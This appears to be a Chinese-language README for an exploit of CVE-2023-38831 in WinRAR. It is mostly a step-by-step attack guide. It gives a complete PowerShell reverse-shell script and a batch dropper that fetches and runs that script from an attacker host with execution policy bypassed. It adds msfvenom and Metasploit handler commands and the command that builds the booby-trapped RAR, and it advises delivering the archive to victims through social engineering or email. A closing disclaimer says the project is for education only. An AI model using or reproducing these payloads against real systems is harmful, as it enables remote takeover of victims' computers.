该项目包含一个利用 **CVE-2023-38831** 的 Python 脚本,该漏洞存在于 **WinRAR** 6.23 之前的所有版本中。该漏洞利用程序会生成一个**恶意 RAR 压缩包**,当受害者打开压缩包内看似无害的文件(如 PDF)时,将触发任意代码执行。
technical_corp此项目包含一个 Python 脚本,该脚本利用了 CVE-2023-38831,这是 WinRAR 6.23 之前版本中的一个漏洞。该漏洞利用程序会生成一个恶意 RAR 压缩包,当受害者打开压缩包中的看似无害的文件(例如 PDF)时,会触发任意代码的执行。该漏洞在 2023 年 4 月至 8 月期间被野外积极利用。
CVE-2023-38831 是 WinRAR 中的一个漏洞,当受害者打开一个同时包含良性文件和同名恶意文件夹的压缩包时,攻击者可以执行任意代码。当用户与良性文件交互时,WinRAR 会错误地处理恶意文件夹中的内容并执行攻击者的载荷。
.bat 或 .exe 文件)。git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
我们将使用嵌入在 .rar 压缩包中的一个批处理文件来下载并执行托管的 PowerShell 反向 Shell。
创建 PowerShell 反向 Shell 脚本:
在 Kali Linux 机器上,将以下 PowerShell 脚本保存为 reverse.ps1:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
将 <attacker_ip> 替换为你的 Kali Linux 机器的 IP。
将 <attacker_port> 替换为你将监听的端口号。
在你的 Kali Linux 机器上托管 PowerShell 脚本:
导航到保存 PowerShell 脚本的文件夹:
cd /path/to/powershell-script
使用 Python 的 HTTP 服务器在 80 端口托管该文件:
python3 -m http.server 80
这将使 reverse.ps1 在 http://<attacker_ip>/reverse.ps1 上可用。
创建一个批处理文件(script.bat),用于下载并执行 PowerShell 反向 Shell:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
使用 CVE-2023-38831 漏洞利用脚本嵌入批处理文件:
运行 WinRAR 漏洞利用脚本,将批处理文件嵌入合法的 PDF 中:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
此命令创建 POC.rar 文件,其中包含将执行反向 Shell 的 script.bat。
启动 Netcat 监听器以捕获反向 Shell:
nc -lvnp <attacker_port>
一旦受害者打开 POC.rar 并执行 PDF 文件,script.bat 将被触发。 该脚本将从你的服务器下载并执行 PowerShell 反向 Shell。 你将能够在 Netcat 监听器上收到反向 Shell 连接。
生成载荷(如果使用 Metasploit):你可以使用 msfvenom 创建反向 Shell 载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
将生成的 payload.exe 文件移动到 CVE-2023-WinRAR-Exploit 目录中
运行漏洞利用生成器:运行 Python 脚本以生成恶意 RAR 文件:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b:指定诱饵文件(例如 nmapcheatsheet.pdf)。 -p:指定载荷文件(例如 script.bat 或 payload.exe)。 -o:指定输出文件名(例如 POC.rar)。
将 RAR 文件发送给受害者:生成的 malicious_archive.rar 可以通过社会工程学、电子邮件附件或文件共享平台发送给受害者。
设置监听器(如果使用 Metasploit):在攻击者机器上设置监听器以捕获反向 Shell:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
攻击者向受害者发送恶意 RAR 文件。 受害者打开诱饵文件(例如 nmapcheatsheet.pdf),该文件会静默触发载荷。 载荷(例如反向 Shell)在后台执行,使攻击者能够控制受害者的系统。
此项目仅供教育目的使用。作者不对该漏洞利用程序的任何滥用负责。它只能在获得完全授权的环境或渗透测试场景中使用。